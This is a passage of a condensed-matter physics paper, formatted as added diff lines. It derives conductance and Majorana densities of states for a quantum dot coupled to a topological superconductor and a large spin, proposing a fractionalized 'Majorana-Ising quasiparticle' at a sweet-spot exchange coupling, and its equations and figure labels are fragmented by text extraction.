+assumed for the edges of the magnetic chain of adatoms.
+This means that the spin-flips of the QI electron injected
+into the TSC and vice-versa are prevented. Therefore,
+the spin-up degree of the QI is the unique to perceive the
+TSC. Different spin-textures on the TSC edge where γ1
+is found[51], which would allow the mixing of the spin
+degrees of freedom, will be addressed elsewhere and do
+not belong to the current analysis. However, even with
+the present assumption, we shall see that both these spin
+components become influenced by S and that the TSC
+mimics an effective quantum dot tunnel and Andreev-
+coupled to the QI [Fig.1(d)].
+To this end, we call the attention that the Majorana
+and Ising terms of Eq.(1) should be conveniently rewrit-
+ten to access the system underlying Physics: (i) the Ising
+term turns straightforwardly into
+JszSz = J
+2
+�
+mσ
+σmd†
+σdσ|m⟩⟨m|,
+(2)
+due to the standard expansions sz =
+1
+2
+�
+σ σd†
+σdσ and
+Sz = �
+m m|m⟩⟨m| with m = [−S, −S + 1, ..., S − 1, S]
+for the QI and large spin, respectively. This means that
+each spin channel in the QI acquires a multi-level struc-
+ture split into 2S + 1 energies ranging from −J(S/2) to
++J(S/2). As a matter of fact, the TSC alters this feature
+quite a bit for the channel σ = +1 as we shall see in the
+numerical data; and (ii) it is imperative to evoke that
+the MZMs are made by the electron (f †) and hole (f) of
+a regular Dirac fermion delocalized over the TSC edges,
+which lead to γ1 =
+1
+√
+2(f † + f) and γ2 =
+i
+√
+2(f † − f). In
+this picture, εM plays the role of the energy level related
+to the electronic occupation f †f and the QI is indeed
+hybridized with f, as mentioned earlier, via the hopping
+t and the superconducting pairing ∆. In summary, by
+considering the gauge λ1 =
+√
+2t and ∆ = t [Fig.1(d)],
+we simply find the Kitaev dimer composed by d↑ and f
+orbitals:
+iεMγ1γ2 + ε↑d†
+↑d↑ + λ1(d↑ − d†
+↑)γ1 = εM(f †f − 1
+2)
++ε↑d†
+↑d↑ + (td↑f † + ∆d↑f + H.c.).
+(3)
+Similarly, the spin-up channel of the QI can be also de-
+composed in MZMs[4], which we label by γA and γB,
+i.e.,
+d↑ =
+1
+√
+2(γA + iγB).
+(4)
+Based on Eq.(4), one can compute the Majorana zero-
+frequency spectral weights for γA and γB, respectively.
+These quantities reveal that in the topological nontrivial
+regime (J = 0, ∆ = t and εM = ε↑ = 0)[4, 32] for the Ki-
+taev dimer, that at the QI site, one spectral weight shows
+a unitary amplitude for a resonant zero-mode, while the
+other is completely null at zero-energy. It means that
+an isolated MZM is found at the QI. Analogously, such
+a feature is also observed in f[4, 32]. This results, ac-
+cording to Eq.(3) given by i
+√
+2λ1γBγ1, into two isolated
+MZMs spatially placed at d↑ and f, namely, γA and γ2,
+respectively. For the trivial case (εM ̸= 0), the two spec-
+tral weights for γA and γB attain to unity and then, two
+resonant zero-modes emerge at the QI site. Thus, Eq.(4)
+is extremely clarifying, once it points out the possibil-
+ity of having within the QI, in the presence of εM and
+J, the isolation of the here proposed MIQ. Additionally,
+as one can notice, the spin down channel always shows
+the trivial case, due to its decoupling from the TSC. For
+completeness, the MZMs for d↓ we label by γC and γD.
+III.
+QUANTUM TRANSPORT AND GREEN’S
+FUNCTIONS
+In this section, our goal is the analytical evaluation
+of the total conductance through the QI device depicted
+in Figs.1(a)-(b). As a matter of fact, solely the spin-up
+channel contributes to the conductance, once the spin-
+down is energetically inaccessible as previously stated. In
+the case of a grounded TSC, symmetric QI-lead couplings
+(Γ) independent of the bias-voltage eV and µSource =
+−µDrain = eV/2, the crossed Andreev reflection is sup-
+pressed and the conductance can be split into[52]
+GTotal = GET + GLAR,
+(5)
+where ET and LAR stand for the electron tunneling and
+local Andreev reflection processes, respectively, with
+GET(eV) = e2
+2h[τ ET
+α¯α (eV/2) + τ ET
+α¯α (−eV/2)],
+(6)
+wherein α = Source, ¯α = Drain and vice-versa, together
+with
+GLAR(eV) = e2
+2h[τ LAR
+αα (eV/2) + τ LAR
+αα (−eV/2)],
+(7)
+in which the transmittances τ ET
+α¯α = (2S+1)Γ2|⟨⟨d↑|d†
+↑⟩⟩|2
+and
+τ LAR
+αα
+=
+(2S + 1)Γ2|⟨⟨d†
+↑|d†
+↑⟩⟩|2
+depend
+on
+the Green’s functions (GFs) of type ⟨⟨Aσ|Bσ⟩⟩
+=
+�
+m⟨⟨Aσ|m⟩⟨m|Bσ⟩⟩ (details in the Appendix), due to
+the presence of the large spin, in which the thermal aver-
+age ⟨|m⟩⟨m|⟩ =
+1
+2S+1 should be taken into account. They
+should be determined via of the standard equation-of-
+motion (EOM) approach[53] summarized as
+ω+⟨⟨Aσ|Bσ⟩⟩ = ⟨[Aσ, Bσ]+⟩ + ⟨⟨[Aσ, H]|Bσ⟩⟩,
+(8)
+
+4
+where ω+ = ω + iη+ and η+ → 0. Additionally, Ref.[52]
+also ensures that the QI normalized DOS obeys the de-
+composition
+DOS(↑) = −ΓIm⟨⟨d↑|d†
+↑⟩⟩ = τ ET
+α¯α + τ LAR
+αα .
+(9)
+As Eq.(9) is bounded to unity, it describes the electronic
+overall transmittance through the QI decomposed into
+ET and LAR processes. Specially when it attains to its
+maximum value at zero energy, i.e., the DOS(↑)(0) = 1
+value gives the electronic zero-frequency spectral weight.
+In this case, the regular fermionic state of the QI is
+then made equally by the MZMs γA and γB. Equiva-
+lently, it means that the corresponding normalized DOSs
+for such quasiparticles localize Majorana states with the
+same spectral weights and as a result, the QI state is
+fully built by a pair of resonant MZMs. It gives rise to
+the conductance GTotal(0) = e2
+h . Interestingly enough for
+DOS(↑)(0) = 1/2, an isolated ordinary MZM is found at
+the QI site and the zero-bias conductance is characterized
+by the hallmark GTotal(0) = e2
+2h[3, 4]. Such a case corre-
+sponds to an ideal infinite superconducting wire. How-
+ever, as we shall see, there is a regime in which the value
+DOS(↑)(0) = 1/2 is still present for a finite wire and due
+to the Ising interaction between the large spin and the
+QI, the observation of the conductance GTotal(0) =
+e2
+2h
+is ensured. This emerges from the novel excitation that
+we introduce as the MIQ, in particular, by driving the
+system into the sweet spot for the exchange interaction
+J, namely, J = Jh. In the latter, the index “h” stands for
+the “half-fermion” special condition of a MZM, which is
+produced by imposing DOS(↑)(0) = 1/2, from where we
+extract Jh for a given S[see Fig.3 b)-I].
+Therefore,
+in order to reveal the aforementioned
+Physics about the system conductance, we should be-
+gin evaluating Eq.(6) for the electron tunneling process.
+Thus, the GF ⟨⟨d↑|d†
+↑⟩⟩ should be found via the EOM
+method, which gives
+⟨⟨d↑|d†
+↑⟩⟩ =
+1
+2S + 1
+�
+m
+1
+ω+ − ε↑ − Jm
+2 + iΓ − Σ+m
+MFs
+,
+(10)
+where Σ+m
+MFs = K+ + (2t∆)2KMFs ˜Km represents the self-
+energy correction due to the couplings of the QI with
+the TSC and the large spin S. This also depends on the
+following defined quantities
+KMFs =
+ω+
+ω2 − ε2
+M + 2iωη+ − (η+)2 ,
+(11)
+K± = ω+(∆2 + t2) ± εM(t2 − ∆2)
+ω2 − ε2
+M + 2iωη+ − (η+)2
+(12)
+and
+˜Km =
+KMFs
+ω+ + ε↑ + Jm
+2 + iΓ − K−
+.
+(13)
+Concerning the LAR, the conductance of Eq.(7) needs
+the evaluation of the anomalous GF ⟨⟨d†
+↑|d†
+↑⟩⟩ instead.
+After performing the EOM approach, it gives rise to
+⟨⟨d†
+↑|d†
+↑⟩⟩ = −
+1
+2S + 1
+�
+m
+2t∆Km
+ω+ + ε↑ + Jm
+2 + iΓ − Σ−m
+MFs
+,
+(14)
+with Σ−m
+MF s = K− + (2t∆)2KMF sKm and
+Km =
+KMFs
+ω+ − ε↑ − Jm
+2 + iΓ − K+
+.
+(15)
+However, if we want to know about the possibility of
+isolating MZMs in the QI, the DOSs for γA and γB should
+be found in order to examine the emergence of resonant
+states.
+To this end, we invert Eq.(4) for γA and γB,
+namely, γA = (d†
+↑ +d↑)/
+√
+2 and γB = i(d†
+↑ −d↑)/
+√
+2, and
+later on we calculate the GFs ⟨⟨γA|γA⟩⟩ and ⟨⟨γB|γB⟩⟩.
+Consequently,
+⟨⟨γj|γj⟩⟩ = 1
+2[⟨⟨d↑|d†
+↑⟩⟩ + ⟨⟨d†
+↑|d↑⟩⟩
++ ϵ(⟨⟨d†
+↑|d†
+↑⟩⟩ + ��⟨d↑|d↑⟩⟩)],
+(16)
+where j = (A, B) corresponds to ϵ = (+1, −1), re-
+spectively.
+Physically speaking, the sign reversal in
+ϵ can lead to distinct quantum interference phenom-
+ena, in particular between those encoded by the nor-
+mal GFs (⟨⟨d↑|d†
+↑⟩⟩ and ⟨⟨d†
+↑|d↑⟩⟩) and the correspond-
+ing superconducting (⟨⟨d†
+↑|d†
+↑⟩⟩ and ⟨⟨d↑|d↑⟩⟩).
+To re-
+veal such interference processes, we need just to find the
+GFs ⟨⟨d†
+↑|d↑⟩⟩ and ⟨⟨d↑|d↑⟩⟩ to close the evaluation of
+⟨⟨γA|γA⟩⟩ and ⟨⟨γB|γB⟩⟩. By applying the EOM method,
+we conclude that
+⟨⟨d†
+↑|d↑⟩⟩ =
+1
+2S + 1
+�
+m
+1
+ω+ + ε↑ + Jm
+2 + iΓ − Σ−m
+MFs
+(17)
+and
+⟨⟨d↑|d↑⟩⟩ = −
+1
+2S + 1
+�
+m
+2∆t ˜Km
+ω+ − ε↑ − Jm
+2 + iΓ − Σ+m
+MFs
+.
+(18)
+Naturally, we define the normalized DOSs for γA and γB
+such as
+DOS(↑)[γj] = −ΓIm⟨⟨γj|γj⟩⟩.
+(19)
+This formula elucidates that when the quantity DOS(↑
+)[γj](0) = −ΓIm⟨⟨γj|γj⟩⟩(0) = 1 is fulfilled, it can be rec-
+ognized as the maximum Majorana quasiparticle trans-
+mittance or its corresponding zero-frequency spectral
+weight.
+Henceforward, we focus the attention on the case ε↑ =
+0 (grounded SC). We perceive by inspecting Eqs.(10) and
+
+5
+(17), that Eq.(9) becomes also DOS(↑) = −ΓIm⟨⟨d†
+↑|d↑⟩⟩.
+Additionally, −ΓIm⟨⟨d†
+↑|d†
+↑⟩⟩ = −ΓIm⟨⟨d↑|d↑⟩⟩. This in
+combination with Eqs.(16) and (19) allow us to establish
+that
+DOS(↑) = 1
+2(DOS(↑)[γA] + DOS(↑)[γB]).
+(20)
+Consequently, by taking into account this finding to-
+gether with Eqs.(5), (6), (7) and (9), we conclude the
+providential equality as follows
+GTotal = GγA + GγB,
+(21)
+where
+Gγj(eV) = e2
+4h[DOS(↑)[γj](eV/2) + DOS(↑)[γj](−eV/2)]
+(22)
+stands for the conductance contribution arising from the
+quasiparticle γj within the QI.
+We highlight that Eq.(21) introduces an alternative
+perspective concerning the underlying Physics of the con-
+ductance in Eq.(5): the ET and LAR quantum trans-
+port mechanisms are revealed as the net effect of two
+Majorana quasiparticle conductances, namely, the corre-
+sponding contributions arising from γA and γB, respec-
+tively. In this context, we shall see that our main find-
+ings hold for the constraint J = Jh fulfilled, thus char-
+acterizing the system sweet spot to produce the MIQ.
+This regime consists of the maximum Majorana quasi-
+particle transmittance DOS(↑)[γj](0) = 1, surprisingly,
+fractionalized and split into DOS(↑)[γA](0) = 1/2 and
+DOS(↑)[γB](0) = 1/2. Despite such equipartition, the
+electronic transmittance is still given by DOS(↑)(0) =
+1/2 [see Fig.3 b)-I] and according to Eq.(22), it ensures
+GγA(0) =
+e2
+4h and GγB(0) =
+e2
+4h. However, counterintu-
+itively, as we shall see, solely GγB(0) contains a MZM in
+the common sense, i.e., a resonant state, while GγA(0)
+shows a dip instead, but with the same magnitude of
+the peak in γB. This is the reason why we call the con-
+tribution GγB(0) =
+e2
+4h by GMIQ(0), in attention to the
+emergent MIQ. This is the unique MZM-type resonant
+state that appears in the system, due to the interplay
+between the topological superconductivity and the Ising
+Hamiltonian. In this case, Eqs.(5) and (21) ensure that
+when the MIQ emerges, GγB(0) exhibits a maximum and
+GγA(0) shows a minimum, in such a way that only GET(0)
+enters into GTotal(0) = e2
+2h. It means that the LAR pro-
+cess is found entirely suppressed within this regime. The
+complete analysis here summarized will be discussed in
+detail later on.
+IV.
+RESULTS
+In the entire numerical analysis we keep constant ε↑ =
+0 (grounded SC), λ1 = 2.12Γ and perform variations in
+the parameters εM, S and J. In Fig.2 we present, for the
+QI of Fig.1, the total conductance of Eq.(5) as a func-
+tion of the bias-voltage eV/Γ. Particularly in Fig.2(a) the
+ideal case is considered, i.e., the TSC wire is perfectly in-
+finite (εM = 0) and the large spin is found turned-off
+(S = 0). This case is well-known, being characterized by
+the ZBP in the conductance given by GTotal(0) = e2
+2h[3, 4].
+Interestingly enough, this ZBP in the conductance rep-
+resents the isolated MZM γ1 originally attached to one
+edge of the TSC wire, which leaks towards the QI site
+in the form of the MZM γA. The MZM leakage from
+the TSC edge into the QI is then characterized by the
+DOS(↑)[γA](0) = 1 and DOS(↑)[γB](0) = 0. We will pro-
+vide, later on, extra details concerning this issue in the
+discussion of the inset a)-I of Fig.3(a). In the other hand,
+the satellite peaks in Fig.2(a) are the aftermath of the
+splitting arising from the condition i
+√
+2λ1γBγ1 given by
+Eq.(3) for the topological nontrivial regime of the system.
+Additionally, we have made explicit via Eq.(5) that the
+ET and LAR processes compose the total conductance.
+Thus, such a feature can be viewed in Fig.2(b), where
+we notice, in particular, for the ZBP conductance that,
+the ET and LAR split equally.
+Here we propose that
+it is still achievable to obtain GTotal(0) = e2
+2h for a finite
+TSC wire and to perform also the isolation of a Majorana
+quasiparticle at the QI site. In our setup, such an excita-
+tion rises, in particular, dressed by the Ising interaction.
+To this end, an integer large spin S should be accounted
+for and be coupled to the QI with a special value in the
+exchange interaction J. Thus, by evaluating J = Jh, the
+amplitude GTotal(0) =
+e2
+2h [Eq.(21)] finally becomes re-
+stored. However, we will verify that such a configura-
+tion corresponds to isolate a peculiar MZM, namely γB,
+with a resonant peak characterized by the spectral weight
+DOS(↑)[γB](0) = 1/2 [Eq.(19)], while for γA we have the
+same amplitude, i.e., DOS(↑)[γA](0) = 1/2, but with a
+dip instead.
+Now, we consider the presence of a large spin S.
+Figs.2(c) and (d) show the total conductance in the
+presence of S = 3 and Jh = 1.335Γ [see inset b)-I
+of Fig.3(b)] for a finite TSC with εM = Γ. The ZBP
+conductance in Fig.2(c) is GTotal(0) =
+e2
+2h as expected,
+but the decomposition into ET and LAR channels de-
+scribed in Fig.2(d) reveals a striking result: solely ET
+survives, while LAR is completely suppressed at zero-
+bias.
+Below we will verify that the LAR suppression
+corresponds to a quasiparticle localization in the DOS
+for γB, which leads to DOS(↑)[γB](0) = 1/2. Thus, ac-
+cording to Eq.(22), such a finite DOS contributes to a
+conductance GγB(0) = GMIQ(0) =
+e2
+4h, where we define
+the MIQ γB ≡ γMIQ.
+In order to understand the emergence of the MIQ,
+we begin with the trivial case in Fig.3(a): the central
+panel discriminates the electronic DOS(↑) into the corre-
+sponding DOSs for γA and γB [Eq.(19)] with S = 0 and
+εM = Γ. This case is regarded as trivial, once we verify
+that in both the DOSs γA and γB resonant states pinned
+
+6
+dI/dV (e2/h)[↑]
+J=εM=0.0Γ
+S=0.0
+ε↑=0.0Γ λ1=2.12Γ
+a)
+c)
+eV/Γ
+dI/dV (e2/h)[↑]
+b)
+eV/Γ
+d)
+εM=1.0Γ
+Jh=1.335Γ
+S=3.0
+Figure 2.
+(Color online) (a) Total differential conductance
+GTotal [Eq.(5)] versus the source-drain bias-voltage eV in units
+of the QI-lead coupling Γ with isolated MZMs γ1 and γ2
+(εM = 0) in the absence of a spin-polarized tip (S = 0).
+As aftermath, a zero-bias peak (ZBP) emerges with ampli-
+tude GTotal(0) = e2
+2h and characterizes the leaking of the MZM
+γ1 from the TSC wire edge [Fig.1(c)] into the QI as γA [in-
+set a)-I of Fig.3(a) and Refs.[3, 4]].
+(b) The ZBP conduc-
+tance can be split into finite contributions from the electron
+tunneling (ET) and local Andreev reflection (LAR) processes
+[Eq.(5)], namely, GET(0) and GLAR(0), respectively. This cor-
+responds to the ideal case of an infinite TSC wire, wherein
+these processes compete on equal footing.
+(c) In the pres-
+ence of a tip with S = 3 and exchange coupling at the sweet
+spot J = Jh = 1.335Γ [inset b)-I of Fig.3(b)] for a finite wire
+(εM = 1Γ), the amplitude GTotal(0) = e2
+2h is still observed and
+denotes the existence of a MIQ γMIQ within the QI, but with
+related differential conductance GMIQ(0) =
+e2
+4h [Fig.3(c) and
+Eqs.(21)-(22)]. (d) In the regime of (c), GLAR(0) is completely
+quenched and solely the term GET(0) contributes to the ZBP.
+at zero-energy ω = 0 are present. Schematically, the QI
+fermionic state can be imagined as a sphere formed by
+two MZMs depicted by two calottes. This is the manner
+we outline pictorially the two zero-energy resonant states,
+the so-called MZMs in the DOSs γA and γB. This sketch
+can be found in the upper-right inset of Fig.3(a), in which
+each calotte symbolizes the “half-fermionic” character
+of the MZM. Equivalently, a calotte occupies the half-
+volume of the sphere and as it corresponds to a MZM,
+it can be surely characterized by DOS(↑)[γj](0) = 1. As
+aftermath, according to Eqs.(20)-(22), these two MZMs
+lead to the zero-bias conductance peak GTotal(0) = e2
+h .
+Concerning the satellite peaks in the DOS(↑)[γB], they
+occur due to the overlap between the MZMs γB and
+γ1. In the other hand, the inset panel a)-II of Fig.3(a)
+shows the spin-down channel, which is the one decou-
+pled from the TSC. To analyze it on the same footing
+as the spin-up channel, we assume ε↓ = 0 and verifies
+that both the MZMs γC and γD, which constitute this
+spin sector of the QI, are then identified exactly by de-
+generate resonant states. The evaluation of the DOSs for
+the spin-down sector just employs the GFs for the spin-
+up sector, but it disregards the superconducting terms.
+As none of these MZMs overlap with γ1, a full super-
+position of the lineshapes for these MZMs manifests in
+the profiles of the DOSs γC and γD. Therefore, satellite
+peaks do not emerge.
+Now, let us go back to discuss
+the spin-up channel. We should pay particular attention
+to the case εM = 0 depicted in the inset panel a)-I of
+Fig.3(a), which corresponds to the nonoverlapped situ-
+ation between γ1 and γ2. This scenario is the ideal one
+and it contains the pillars for the conductance behavior of
+Fig.2(a). Notice that γB overlaps with γ1 leading to satel-
+lite peaks in DOS(↑)[γB] and DOS(↑)[γB](0) = 0, while
+γA is found isolated and localized as a well-defined reso-
+nant zero-mode with spectral weight DOS(↑)[γA](0) = 1.
+Thereafter, GTotal(0) = GγA(0) =
+e2
+2h. This case is well-
+known in literature [3, 4] and points out that the MZM
+γA contributes to the conductance as a resonant state
+in contrast to γB, which shows a gap in DOS(↑)[γB]
+around zero-bias. This latter prevents a finite conduc-
+tance, i.e., GγB(0) = 0. Below, we will see that by
+turning-on the exchange J for a given S, the spectral
+profiles for the DOS(↑)[γA] and DOS(↑)[γB] will exhibit
+a multi-level structure. Additionally, these densities will
+be responsible, according to Eq.(22), by a nonquantized
+GTotal(0) ̸= e2
+h in Eq.(21). In the situation of arbitrary J,
+the contributions to GTotal(0) ̸= 0 will not arise from well-
+defined resonant zero-mode states in DOS(↑)[γA] and
+DOS(↑)[γB]. As we shall see next, the Majorana fermion
+localization within the QI as a resonant zero-mode state
+will only occur for the sweet spot J = Jh.
+Fig.3(b) treats the presence of a large spin coupled
+to the QI for εM = Γ. As we can notice, the Ising in-
+teraction J = 5Γ for S = 3 clearly affects the spectral
+profiles of DOS(↑)[γA] and DOS(↑)[γB]. Basically, it in-
+troduces a multi-level structure for the satellite peaks
+and modifies drastically the MZM localization around
+the zero-bias.
+Surprisingly, the DOS(↑)[γA] presents a
+valley (dip) at zero-energy and a quasi-resonant MZM
+rises in DOS(↑)[γB]. As a matter of fact, the latter cannot
+be considered a well-defined resonant MZM: its spectral
+weight is not exactly an integer or semi-integer number,
+and the lineshape broadening does not obey a loretnzian-
+like form to define a quasiparticle lifetime[38]. The line-
+shapes of such spectral densities are then distinct, but
+counterintuitively, their zero-bias values coincide, i.e.,
+DOS(↑)[γA](0) = DOS(↑)[γB](0). As the spin-up sector
+of the QI is the one coupled to the TSC, the spectral
+profiles in the DOS(↑)[γA] and DOS(↑)[γB] do not fol-
+low strictly the standard angular momentum theory for
+the Zeeman splitting [Eq.(2)]. Usually, this theory en-
+sures that for an integer S, 2S symmetrically displaced
+levels around the corresponding at ω = ε↑ = 0 should
+emerge.
+Here, indeed we observe a mirror-symmetric
+set with S energy bands below and above the zero-bias,
+respectively, where nearby peculiar spectral structures
+rise.
+We reveal that the profiles differ significantly in
+this range, as aftermath of the nontrivial interplay be-
+tween the TSC and Ising exchange term. In Figs.4(d)-
+
+7
+ω(Γ)
+DOS(↑)[γj]
+DOS(↑)[γj]
+ω(Γ)
+c)-I
+εM⟶∞
+DOS(↑)[γj]
+DOS(↑)[γj]
+GMIQ(0)=
+e2/4h
+a)
+b)
+c)
+b)-I
+εM=1.0Γ  ε↑=0.0Γ   λ1=2.12Γ 
+S=0.0
+J=5.0Γ
+S=3.0
+Jh=1.335Γ
+S=3.0
+Valley
+Overlapped
+case
+Valley
+Quasi-
+resonant 
+MZM
+MIQ
+γA+γB
+≡
+QI
+DOS(↑)[γj]
+ω(Γ)
+a)-I
+εM=0.0Γ
+γA
+≡
+QI
+Nonoverlapped case
+Highly 
+overlapped
+case
+Resonant
+MZM
+Jh Sweet
+spot
+DOS(↑)(ω=0.0Γ) 
+J(Γ)
+S=0.0
+S=5.0
+S=10.0
+S=3.0
+DOS(↓)[γj]
+ω(Γ)
+b)-II
+Decoupled 
+channel
+DOS(↓)[γj]
+ω(Γ)
+a)-II
+γC+γD
+≡
+QI
+Decoupled 
+channel
+γMIQ
+≡
+QI
+GγA(0)=e2/2h
+GγA(0)=e2/4h
+ω(Γ)
+DOS(↓)[γj]
+c)-II
+Decoupled 
+channel
+Figure 3.
+(Color online) (a) The central panel shows the
+frequency dependence of the normalized densities of states
+(DOSs) for the MZMs γA and γB [Eq.(19)] for the spin-up
+channel within the QI by assuming the spin-polarized tip ab-
+sent and the MZMs γ1 and γ2 overlapped (εM = 1Γ) in the
+TSC. In each DOS we find a resonant MZM, which corre-
+sponds to a “half-fermionic” state of the QI depicted as the
+green sphere in the upper-right inset.
+This sphere has in-
+ner MZMs represented by calottes to denote the half-fermion
+nature of the MZM. In the nonoverlapped situation, only
+the calotte γA prevails [inset a)-I]. It leads to GTotal(0) =
+GγA(0) =
+e2
+2h in Fig.2(a) [Eqs.(21)-(22)]. For the spin-down
+channel, which is decoupled from the TSC, the MZMs γC and
+γD within the QI stay paired permanently [inset a)-II]. (b) In
+the presence of S = 3 and J = 5Γ for εM = 1Γ the DOS for
+γA changes drastically exhibiting a valley at ω = 0 instead
+of a peak, while for γB the zero-mode is not-well defined. To
+restore the ZBP GTotal(0) =
+e2
+2h we should choose the right
+J for a given S, i.e., the sweet spot J = Jh [panel b)-I for
+the QI DOS of Eq.(20) imposing DOS(↑)(0) = 1/2]. In the
+spin-down channel, the γC and γD DOSs are degenerate with
+a 2S + 1 multi-level structure [panel b)-II]. (c) The choice
+J = Jh = 1.335Γ for S = 3 completely defines the valley
+and peak for the DOSs γA and γB, respectively, where in the
+latter we introduce γB ≡ γMIQ as the Majorana-Ising quasi-
+particle, once the peak clearly represents the unique MZM
+isolated in the system. It is characterized by a ZBP given
+by GMIQ(0) = e2
+4h pictorially illustrated by the half-calotte in
+the lower-right inset for the green sphere representing the QI
+fermionic state. However, GTotal(0) = GγA(0)+GMIQ(0) = e2
+2h.
+(f) we will see that the manifestation of this effect relies
+within a region comprised by cone-like walls spanned by
+ω and εM in the DOSs of the system. Within the cone,
+the Zeeman splitting becomes unusual and the energy
+spacing between the levels is simultaneously governed by
+J and εM. Besides, solely the spin-down channel shows
+standard Zeeman splitting, once it does not perceive the
+TSC. This can be verified in the inset panel b)-II of
+Fig.3(b), where the DOSs for γC and γD, as expected,
+present the ordinary 2S +1 multi-level structure ensured
+by Eq.(2).
+We highlight that upon decreasing the ex-
+change parameter J, the restoration of the conductance
+GTotal(0) =
+e2
+2h can be still allowed.
+Thus, we should
+remember that such a conductance arises from the ful-
+fillment of the condition DOS(↑)(0) = 1/2. Particularly
+in the inset panel b)-I of Fig.3(b), we show exactly the
+points where this happens by considering several values
+of S and εM ̸= 0. Particularly for S = 3, this sweet spot
+occurs for J = Jh = 1.335Γ and its dependence on εM is
+revealed as very weak according to our numerical calcu-
+lations (not shown). It means that J = Jh = 1.335Γ still
+keeps the value DOS(↑)(0) = 1/2 while εM does not ex-
+ceed very much Γ (εM ≫ Γ). Experimentally speaking,
+J can be tuned by changing the tip-QI vertical distance.
+Thus for εM ̸= 0, GTotal(0) drops from e2
+h to
+e2
+2h when
+J = Jh. Hence, at the sweet spot, if one knows previ-
+ously the spin S of the tip, Jh can be extracted from
+Fig.3 b)-I or vice-versa.
+In Fig.3(c) we present the case J = Jh = 1.335Γ that
+leads to our main finding: a perfect localization of a
+resonant state at zero-energy in DOS(↑)[γB], with spec-
+tral weight DOS(↑)[γB](0) = 1/2. The latter amplitude
+points out that the ordinary MZM now is fractionalized
+and the value DOS(↑)[γB](0) = 1 is not present any-
+more. This fractionalized MZM, the called MIQ by us,
+then leads to a conductance GγB(0) = GMIQ(0) = e2
+4h as
+ensured by Eq.(22).
+The value DOS(↑)[γB](0) = 1/2
+can be pictorially viewed by the half-calotte found in
+the lower-right inset of Fig.3(c), which symbolizes the
+MZM fractionalization within the QI state. Nevertheless,
+to complete the total conductance GTotal(0) =
+e2
+2h, the
+zero-bias value for DOS(↑)[γA](0) should coincide, i.e.,
+DOS(↑)[γA](0) = 1/2 and as aftermath, GγA(0) =
+e2
+4h
+as well.
+Here we emphasize that in DOS(↑)[γA](0) a
+quantum destructive interference manifests and a reso-
+nant state does not rise at zero-bias.
+Moreover, it is
+capital to clarify the underlying mechanism to produce
+the MIQ: the key idea is the decrease of J, thus forcing
+the merge of the 2S side bands (satellite peaks) of the
+system towards the zero-energy, where a resonant level is
+pinned. As a result, this sum of amplitudes for the satel-
+lite peaks interferes constructively at zero-energy giving
+rise to DOS(↑)(0) = 1/2 for J = Jh. Further, our findings
+do not depend on the sign of J and in case of a semi-
+integer large spin, the multi-level structure is odd and a
+zero-energy is absent in the spectrum. In this manner,
+the MIQ cannot be excited. Concerning the inset pan-
+
+8
+DOS(↑)[γA] 
+εM(Γ)
+DOS(↑)[γB]
+DOS(↑) 
+ω(Γ)
+DOS(↑) 
+ω(Γ)
+DOS(↑) 
+ ε↑=0.0Γ  λ1=2.12Γ 
+J=5.0Γ
+S=3.0
+Jh=1.335Γ
+S=3.0
+DOS(↑)[γB]
+DOS(↑)[γB]
+DOS(↑)[γA] 
+DOS(↑)[γA] 
+εM(Γ)
+εM(Γ)
+S=0.0
+a)
+b)
+c)
+d)
+e)
+f)
+g)
+h)
+i)
+ω(Γ)
+Resonant MZM
+Resonant MZM
+Resonant 
+zero mode
+Valley
+Quasi-resonant 
+MZM
+Valley
+MIQ
+Cone-like wall
+Figure 4.
+(Color online) Color maps of Eqs.(9) and (19) for the QI, γA and γB DOSs, respectively, spanned by the frequency
+ω and εM: (a) In the case S = 0, the ZBP in the DOS(↑) arises from the individual ZBPs found in DOS(↑)[γA] [panel(b)] and
+DOS(↑)[γB] [panel(c)], due to the MZMs γA and γB that act as the building-blocks of the QI state ε↑ = 0 [Eq.(20)]. They reveal
+that the system does not contain isolated MZMs and that the overlapped γ1 and γ2 split the zero-mode energy state leading
+to the upper and lower arcs in panels (a) and (c). Panels (d)-(f) reveal the influence of S = 3 and J = 5Γ on the QI, where we
+can clearly see a 2S + 1 multi-level structure centered at ω = 0. The upper and lower arcs, distinctly, show 2S levels each. The
+central region of (e) has a valley-type structure in contrast to that for (f), which points out a quasi-resonant MZM. In both the
+cases, the 2S + 1 multi-level structure is delimited by cone-like walls up to a threshold in εM (not indicated), where above it
+the DOS(↑)[γA] and DOS(↑)[γB] exhibit a zero-mode with the lines of the walls parallel to each other. For this situation, the
+TSC plays no role and the MZMs γA and γB stay paired as in (a)-(c). Panels (g)-(i) hold for the sweet spot J = Jh = 1.335Γ,
+where we have the zero-frequency valley and peak well-resolved in the DOS(↑)[γA] and DOS(↑)[γB], respectively. In the latter,
+the MIQ rises as aftermath of the partial merge of the 2S + 1 multi-level structure centered at ω = 0 upon decreasing the
+coupling J. We call the attention that the vertical lines represent slice cuts of the cases profoundly explored in Figs.2 and 3.
+els c)-I and c)-II of Fig.3(c), we verify that for εM ≫ Γ
+(or εM → ∞) the DOSs for the Majorana fermions are
+degenerate. For extremely short TSC wires (εM → ∞),
+the energy level εM for the orbital f [Eq.(3)] is highly
+off resonance the QI energy ε↑ = 0, thus making the
+QI and the TSC to decouple from each other. Thus, the
+spin-up channel behaves as the corresponding spin-down,
+which is the one permanently decoupled from the TSC.
+This implies that the MIQ cannot be seen for very short
+wires.
+Fig.4 summarizes our findings exhibiting color maps of
+Eqs.(9) and (19) for the electronic and Majorana DOSs,
+respectively and spanned by ω and εM. Panels (a)-(c) de-
+scribe the case S = 0, which is characterized by DOS(↑
+)(0) = 1 and DOS(↑)[γA](0) = DOS(↑)[γB](0) = 1. This
+corresponds to the trivial regime where two MZMs local-
+ize around zero-bias and appear at the QI site. Such a
+characteristic relies in the zero-bias peaks and appears as
+horizontal lines in the representation of panels (a)-(c) for
+any finite value of εM. As we can see, the satellite peaks
+in (a) arise from (c). By turning-on the Ising interaction
+with S = 3 and J = 5Γ, the spectral profiles of the DOSs
+acquire distinct patterns: the satellite peaks obey ap-
+proximately the standard angular momentum theory for
+the Zeeman splitting, thus exhibiting 2S split side-bands.
+In this situation, the linear dependence on the exchange
+
+9
+parameter J is lacking. Besides, the central regions of
+panels (a)-(c) are converted into the domains delimited
+by cone-like walls as those found in (d)-(f). While these
+walls persist up to a threshold in εM (not marked in the
+figure), a sophisticated interplay between the TSC and
+the Ising interaction rules the Physics of the system and
+allows the possibility of the MIQ existence. Notice that
+for εM > Γ, a 2S + 1 multi-level central structure fi-
+nally becomes resolved. It is worth mentioning that for
+εM = Γ, the line cuts in Fig.4 given by the vertical dashed
+lines, then correspond to the cases discussed in detail in
+Fig.3. In panels (e) and (f) we notice the rising of the
